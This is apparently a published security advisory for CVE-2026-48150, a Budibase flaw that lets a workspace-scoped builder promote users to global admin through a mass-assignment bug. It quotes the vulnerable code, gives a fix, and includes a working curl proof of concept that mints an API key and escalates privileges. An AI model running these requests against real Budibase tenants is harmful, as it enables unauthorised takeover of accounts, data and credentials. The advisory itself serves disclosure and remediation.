GHSA-6xp4-cf37-ppjh CVE-2026-48150
Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign
- Severity
- 9.0 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.29%
- Chance of exploitation in the next 30 days. Higher than 21.87% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes
- Fix
3.39.0- Upgrade @budibase/server to this version or later
Description
Summary
/api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature.
Details
Controller (packages/server/src/api/controllers/public/roles.ts:13-17):
export async function assignAppBuilder(ctx: Ctx) {
const { userIds, ...assignmentProps } = ctx.request.body
await sdk.publicApi.roles.assign(userIds, assignmentProps)
ctx.body = { data: { userIds } }
}
Nothing filters assignmentProps. The request body's builder and admin keys flow directly into the SDK.
SDK (packages/pro/src/sdk/publicApi/roles.ts:17-47):
export async function assign(userIds: string[], opts: AssignmentOpts) {
if (!(await isExpandedPublicApiEnabled())) {
throw new Error("Unable to assign roles - license required.")
}
const users = await userDB.bulkGet(userIds)
for (let user of users) {
// ...
if (opts.builder) {
user.builder = { global: true }
}
if (opts.admin) {
user.admin = { global: true }
}
}
await userDB.bulkUpdate(users)
}
No check that the caller already holds the privilege they are granting. user.builder is overwritten unconditionally, which also strips any existing builder.apps scope from the target.
Route guard (packages/backend-core/src/middleware/builderOrAdmin.ts:6-20):
export async function builderOrAdmin(ctx: UserCtx, next: any) {
if (ctx.internal || isAdmin(ctx.user)) { return next() }
const workspaceId = await getWorkspaceIdFromCtx(ctx)
if (!workspaceId && !env.isWorker()) {
ctx.throw(403, "This request required a workspace id.")
} else if (!workspaceId && !hasBuilderPermissions(ctx.user)) {
ctx.throw(403, "Admin/Builder user only endpoint.")
} else if (workspaceId && !isBuilder(ctx.user, workspaceId)) {
ctx.throw(403, "Workspace Admin/Builder user only endpoint.")
}
// passes
}
isBuilder(user, workspaceId) returns true for any user whose builder.apps array contains the workspace id, even when builder.global is unset. The endpoint therefore trusts an app-level builder with a global-scope grant.
Proof of Concept
Tested on Budibase 3.35.8 (master at f960e361). The public API license gate at roles.ts:18 was disabled in the test bundle so the underlying privilege-escalation could be reproduced end-to-end; on a licensed Enterprise tenant the gate passes and the same requests land.
Step 1: the admin creates two users. Alice is a workspace-scoped builder on an app (builder.apps: [app_...], builder.global unset, admin.global unset). Victim is a BASIC user.
Step 2: Alice calls GET /api/global/self/api_key to mint an API key tied to her identity:
curl -sS -b alice "$BASE/api/global/self/api_key"
# → {"apiKey":"80f28...","userId":"us_dab...","createdAt":"..."}
Step 3: Alice calls /api/public/v1/roles/assign with the victim's id and builder: true. She scopes the request to her own app via x-budibase-app-id so builderOrAdmin passes:
curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
-H "Content-Type: application/json" \
-H "x-budibase-api-key: $ALICE_APIKEY" \
-H "x-budibase-app-id: $APP_ID" \
-d '{"userIds":["us_70b6...victim"],"builder":true}'
Admin verifies:
BEFORE: builder: {'global': False} admin: {'global': False}
ATTACK: HTTP 200 {"data":{"userIds":["us_70b6..."]}}
AFTER: builder: {'global': True} admin: {'global': False}
Step 4: Alice follows up with "admin": true and can target her own id:
curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
-H "Content-Type: application/json" \
-H "x-budibase-api-key: $ALICE_APIKEY" \
-H "x-budibase-app-id: $APP_ID" \
-d '{"userIds":["us_dab...alice"],"admin":true}'
AFTER: builder: {'apps': ['app_...']} admin: {'global': True}
Alice is now a global admin of the tenant. She kept builder.apps because the SDK only overwrites the keys it was asked to set; admin: true writes admin = { global: true } without touching builder.
Impact
Every workspace-scoped builder of any app in the tenant is one request away from global admin. Global admin grants unrestricted access to the tenant: every app in every workspace, every user, every datasource credential, every automation, every SCIM / OIDC / audit-log config. The mass-assignment also strips scoping from the target's existing role, so downgrading a legitimate global builder to an app-scoped builder fails: a later call reinstates global: true.
A tenant that shares app-building duties across teams (the common Enterprise pattern) cannot hold the per-app boundary with the current middleware. This matches GHSA-2g39-332f-68p9 (Critical Privilege Escalation & IDOR via Missing RBAC) in shape and impact.
Recommended Fix
Enforce the caller's privilege in the SDK, matching the grant they want to make:
// packages/pro/src/sdk/publicApi/roles.ts:32-43
const caller = context.getIdentity() // or however the SDK resolves the caller
if (opts.builder) {
if (!caller?.builder?.global && !caller?.admin?.global) {
throw new HTTPError("Only global builders or admins can grant global builder", 403)
}
user.builder = { global: true }
}
if (opts.admin) {
if (!caller?.admin?.global) {
throw new HTTPError("Only global admins can grant global admin", 403)
}
user.admin = { global: true }
}
Alternative, equally valid: tighten builderOrAdmin so that endpoints which can set global-scope properties require isGlobalBuilder or isAdmin. That fixes this endpoint and any future endpoint that shares the middleware.
Whichever fix lands, also strip builder and admin from assignmentProps at the controller boundary (packages/server/src/api/controllers/public/roles.ts:14) unless the caller has admin.global=true. Defense-in-depth against a future SDK regression.
Found by aisafe.io
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| @budibase/server | < 3.39.0 |
3.39.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
@budibase/server npm → 3.39.0
- npm
npm install @budibase/server@3.39.0- yarn
yarn add @budibase/server@3.39.0- pnpm
pnpm add @budibase/server@3.39.0
Severity breakdown
CVSS 3.1 9.0
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- High
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Weakness
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
How to prevent it
- Implementation: If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists. For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
- Implementation, Architecture and Design: Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-6x9p-4r67-5gjx Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url` | High | Also affects @budibase/server |
| GHSA-5fpj-28rv-84r7 Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist | High | Also affects @budibase/server |
| GHSA-hfhx-w8p8-4hc7 Budibase: SSRF via bare fetch() in uploadUrl during AI table generation | Medium | Also affects @budibase/server |
| GHSA-v42f-v8xc-j435 Budibase: SSRF via DNS rebinding in the REST datasource integration | High | Also affects @budibase/server |
| GHSA-pmpg-2mxq-6xwr Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete | High | Also affects @budibase/server |
| GHSA-cr7p-cr3q-h5cm Budibase: Account Enumeration via Login Lockout Response Differential | Medium | Also affects @budibase/server |
| GHSA-pvcr-8mvp-w8qr Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF) | High | Also affects @budibase/server |
| GHSA-2xgg-r2wc-c5r2 Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector | High | Also affects @budibase/server |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor